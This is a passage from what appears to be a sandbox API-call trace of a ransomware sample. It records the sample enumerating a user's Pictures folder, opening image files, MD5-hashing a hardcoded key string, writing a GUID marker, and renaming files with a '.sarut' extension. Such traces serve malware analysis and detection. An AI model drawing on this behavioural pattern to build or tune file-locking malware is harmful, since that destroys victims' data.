hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.395] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.395] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.396] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.396] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.397] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\") returned="kQOrnOQ\\" [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0271.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0271.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0271.397] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.397] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.397] PathFindFileNameW (pszPath="") returned="" [0271.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0271.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd2ddb20, ftCreationTime.dwHighDateTime=0x1d4d0f2, ftLastAccessTime.dwLowDateTime=0x13d19350, ftLastAccessTime.dwHighDateTime=0x1d4d0ef, ftLastWriteTime.dwLowDateTime=0x13d19350, ftLastWriteTime.dwHighDateTime=0x1d4d0ef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.398] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd2ddb20, ftCreationTime.dwHighDateTime=0x1d4d0f2, ftLastAccessTime.dwLowDateTime=0x13d19350, ftLastAccessTime.dwHighDateTime=0x1d4d0ef, ftLastWriteTime.dwLowDateTime=0x13d19350, ftLastWriteTime.dwHighDateTime=0x1d4d0ef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.398] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d2e5200, ftCreationTime.dwHighDateTime=0x1d4ca50, ftLastAccessTime.dwLowDateTime=0x98ddf890, ftLastAccessTime.dwHighDateTime=0x1d4c7bc, ftLastWriteTime.dwLowDateTime=0x98ddf890, ftLastWriteTime.dwHighDateTime=0x1d4c7bc, nFileSizeHigh=0x0, nFileSizeLow=0x110ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5l6On7s_t7GucX53.bmp", cAlternateFileName="5L6ON7~1.BMP")) returned 1 [0271.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.399] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\5l6On7s_t7GucX53.bmp") returned=".bmp" [0271.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\5l6On7s_t7GucX53.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\5l6on7s_t7gucx53.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.399] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=69806) returned 1 [0271.399] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.402] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11088, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.402] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.403] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x110ae, lpOverlapped=0x0) returned 1 [0271.404] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.404] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.404] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.405] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.405] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.405] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.406] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.406] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.406] GetLastError () returned 0x0 [0271.406] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.406] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.406] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x110ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.407] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.407] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.407] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.407] CloseHandle (hObject=0x5c4) returned 1 [0271.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0271.412] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8a0) returned 0x311d708 [0271.412] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\5l6On7s_t7GucX53.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\5l6on7s_t7gucx53.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\5l6On7s_t7GucX53.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\5l6on7s_t7gucx53.bmp.sarut")) returned 1 [0271.414] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28335580, ftCreationTime.dwHighDateTime=0x1d4cbe1, ftLastAccessTime.dwLowDateTime=0x41cbeab0, ftLastAccessTime.dwHighDateTime=0x1d4cdb3, ftLastWriteTime.dwLowDateTime=0x41cbeab0, ftLastWriteTime.dwHighDateTime=0x1d4cdb3, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="60yrjxUg Vj9.bmp", cAlternateFileName="60YRJX~1.BMP")) returned 1 [0271.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.414] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.414] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\60yrjxUg Vj9.bmp") returned=".bmp" [0271.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\60yrjxUg Vj9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\60yrjxug vj9.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.414] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=3048) returned 1 [0271.414] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.417] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.417] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.418] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.419] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xbe8, lpOverlapped=0x0) returned 1 [0271.419] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.419] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.419] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.419] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.419] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.420] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.420] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.420] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.420] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.420] GetLastError () returned 0x0 [0271.420] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.420] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.420] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.420] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.420] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.420] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.421] CloseHandle (hObject=0x5c4) returned 1 [0271.426] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0271.426] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.426] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\60yrjxUg Vj9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\60yrjxug vj9.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\60yrjxUg Vj9.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\60yrjxug vj9.bmp.sarut")) returned 1 [0271.428] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf122aac0, ftCreationTime.dwHighDateTime=0x1d4c8af, ftLastAccessTime.dwLowDateTime=0x9d63a3f0, ftLastAccessTime.dwHighDateTime=0x1d4ca7e, ftLastWriteTime.dwLowDateTime=0x9d63a3f0, ftLastWriteTime.dwHighDateTime=0x1d4ca7e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bpyHeQcsI", cAlternateFileName="BPYHEQ~1")) returned 1 [0271.428] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0271.428] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5390 [0271.428] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5170 [0271.428] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7564bac0, ftCreationTime.dwHighDateTime=0x1d4cb68, ftLastAccessTime.dwLowDateTime=0xa64ab0a0, ftLastAccessTime.dwHighDateTime=0x1d4cf90, ftLastWriteTime.dwLowDateTime=0xa64ab0a0, ftLastWriteTime.dwHighDateTime=0x1d4cf90, nFileSizeHigh=0x0, nFileSizeLow=0x2a6a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gwGJ_.png", cAlternateFileName="")) returned 1 [0271.428] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.428] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.428] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\gwGJ_.png") returned=".png" [0271.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\gwGJ_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\gwgj_.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.429] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=10858) returned 1 [0271.429] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.431] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2a44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.431] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.433] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x2a6a, lpOverlapped=0x0) returned 1 [0271.434] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.434] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.434] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.434] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.434] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0271.435] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.435] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.435] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.435] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.435] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.435] GetLastError () returned 0x0 [0271.435] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.435] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0271.435] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2a6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.436] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.436] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.436] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.436] CloseHandle (hObject=0x5c4) returned 1 [0271.440] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0271.440] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0271.440] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\gwGJ_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\gwgj_.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\gwGJ_.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kqornoq\\gwgj_.png.sarut")) returned 1 [0271.442] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67910ff0, ftCreationTime.dwHighDateTime=0x1d4cc5a, ftLastAccessTime.dwLowDateTime=0x16a797a0, ftLastAccessTime.dwHighDateTime=0x1d4d419, ftLastWriteTime.dwLowDateTime=0x16a797a0, ftLastWriteTime.dwHighDateTime=0x1d4d419, nFileSizeHigh=0x0, nFileSizeLow=0x14433, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HAIVHenLu6VmrRA9qdSL.png", cAlternateFileName="HAIVHE~1.PNG")) returned 1 [0271.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.442] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0271.442] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HAIVHenLu6VmrRA9qdSL.png") returned=".png" [0271.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kQOrnOQ\\HAIVHenLu6VmrRA9qdSL.png" (normalized: "c:\\users\\5p5nrgjn0js 